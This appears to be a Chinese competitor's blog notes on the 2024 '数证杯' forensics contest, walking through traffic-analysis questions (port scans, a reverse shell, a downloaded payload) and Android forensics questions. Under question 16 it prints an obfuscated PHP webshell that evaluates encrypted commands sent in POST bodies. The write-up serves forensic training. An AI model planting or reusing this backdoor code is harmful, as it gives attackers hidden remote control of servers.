当前位置：首页 > news >正文

第一届数证杯做题笔记（流量分析和手机取证）

news 2025/11/1 8:16:12

备战第二届数证杯！不给甲哥和丰哥拖后腿

检材来源于didctf。WP参考：2024年首届数证杯初赛wp-CSDN博客

网络流量分析

网络流量分析-1

分析网络流量包检材，写出抓取该流量包时所花费的秒数,拉到最后看即可。

网络流量分析-2

找计算机操作系统的 build 版本。

在wireshark的捕获文件属性这里可以看

网络流量分析-3

过滤http流，发现get robots.txt，一般这就是CTF里面第一步，所以肯定是被攻击了，找目标IP地址即可。

网络流量分析-4

找到一个404的数据包，一般报错信息就有我们想要的，果然发现ubuntu几个字母。

（这个科来分析系统分析大流量还不算卡，就是用不太顺手）

网络流量分析-5

分析端口扫描，我就知道一个nmap，竟然蒙对了。而且确实搜索出nmap这个字符串。科来可以自己检测出来

网络流量分析-6

分析漏洞检测工具版本号

承接上图，zabbix是一个漏洞有关的app，和他有关的流量包爆出了版本号。

网络流量分析-7

分析网络流量包检材，攻击者通过目录扫描得到的 phpliteadmin 登录点是？

参考WP，用这个过滤器，意思是找包含php的，然后还得是http。前面都是404，这里不是，说明是指定位置

网络流量分析-8

追踪7发现的http数据的临近的几个流，最终确定到这个位置是响应成功的

网络流量分析-9

分析网络流量包检材，攻击者创建的 phpinfo 页面文件名是？（答案格式：abc.txt）

搜索PHP version，随后追踪流，出来以下内容

看请求头，是demo.php

网络流量分析-10

分析网络流量包检材，攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是？（答案格式：abc.txt）

这里是参考了WP2024数证杯电子取证比赛 | OOQOWW blog

思路有俩，一个是追踪流看到了wget，另一个是直接搜索txt

我们可以这样过滤，按照长度排序

或者追踪test_db.php，找到wget。

网络流量分析-11

分析网络流量包检材，攻击者反弹 shell 的地址及端口是？（答案格式：192.168.1.1:1234）

反弹shell就是让主机自己连接我们，那我们就要过滤请求为被攻击机的流量数据

这个rev.txt太可疑，点进去

就在图上

网络流量分析-12

让看python版本号

直接搜python

网络流量分析-13

受害者的网络框架。我不会，看了WP才知道通过特征找框架

框架 / CMS	核心技术特点	典型适用场景	关键识别标志（用于流量 / 源码分析）
WordPress	基于 PHP，以 “内容管理” 为核心，插件 / 主题生态极丰富（数万款插件），上手门槛低，非纯编程式开发。	个人博客、企业官网、小型电商（通过 WooCommerce 插件）。	URL 含 `/wp-admin/`、`/wp-content/`、`/wp-login.php`；Cookie 含 `wordpress_` 前缀；页面底部常显 “Proudly powered by WordPress”。
Laravel	基于 PHP，采用 MVC 架构，语法优雅，内置 ORM、路由、缓存、队列等完整组件，依赖 Composer 管理 `vendor` 目录。	复杂业务系统（电商平台、SaaS 服务、会员管理系统）。	URL 路由多为自定义（如 `/api/user`）；`vendor` 目录下有 `/laravel/` 子目录；响应头可能含框架版本；错误页显 “Laravel” 标识。
ThinkPHP	国产 PHP 框架，MVC 架构，文档为中文，支持快速开发（内置 CURD 工具、模板引擎），版本迭代快（如 TP5、TP6）。	国内中小企业应用（政务系统、内部 OA、小型电商）。	旧版本 URL 含 `?m=模块&c=控制器&a=方法`；`vendor` 目录下有 `/topthink/` 子目录；错误页可能显 “ThinkPHP” 字样；部分响应头含 `X-Powered-By: ThinkPHP`。
Drupal	基于 PHP 的高定制化 CMS，模块化设计（核心功能通过模块扩展），安全性强，适合复杂权限管理。	大型网站（政府门户、新闻平台、多语言站点）。	URL 含 `/drupal/`、`/sites/default/`；核心文件有 `drupal.js`、`modules/` 目录；响应头可能含 `X-Drupal-Cache`；登录页路径多为 `/user/login`。

上面是我搜集的主要特征

需要注意提交的时候要全小写

网络流量分析-14

问数据库密码。

在这里学到新知识。TCP是HTTP得以进行的保障，攻击者执行攻击命令可在TCP看。我们过滤TCP，搜索'ls'命令，可定位到攻击者进行的一些命令执行，在这能看到数据库密码

网络流量分析-15

问上传木马的端口号

我们先要定位到哪里上传了木马。

这里又是知识盲区。看WP吧

好吧，还是聚焦于攻击者执行的命令这里

在被害者服务器下载不就相当于上传吗，思路狭窄了，同时没有分析好这个数据包

网络流量分析-16

contains help.php，然后追踪到以下php代码：

<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>

豆包分析就是一个恶意木马，读取缓冲区的内容然后加密貌似。

我们需要看到的就是核心加密数据，题目要求读取原始值，那就是解密

还是用了大佬的脚本2024数证杯电子取证比赛 | OOQOWW blog

然后php运行即可

手机取证

不用火眼感觉很难写。

这个牢牢结合2024年首届数证杯初赛wp-CSDN博客

但是这个博客有的是错的

2024数证杯初赛WP - yanke_wolf - 博客园这个是对的

这里用EX工具，因为我没有火眼，也没有取证大师，也不会仿真

手机取证-1

问机主的微信id

手机取证-2

相应的时间调整到指示时间看短信即可

手机取证-3

直接看是看不出来的，我们需要用技巧

利用EX找到packags.xml，然后过滤geda，找到含有ut的那一项

package name="com.geda123.tio.chat" codePath="/data/app/com.geda123.tio.chat-uDwr-8Hv4Cu52qXMnG4CKQ==" nativeLibraryPath="/data/app/com.geda123.tio.chat-uDwr-8Hv4Cu52qXMnG4CKQ==/lib" primaryCpuAbi="armeabi-v7a" publicFlags="945339972" privateFlags="524288" ft="1920d089418" it="1920d08971c" ut="1920d08971c" version="104" userId="10020" installer="com.microvirt.download">

这一项转换为时间戳即可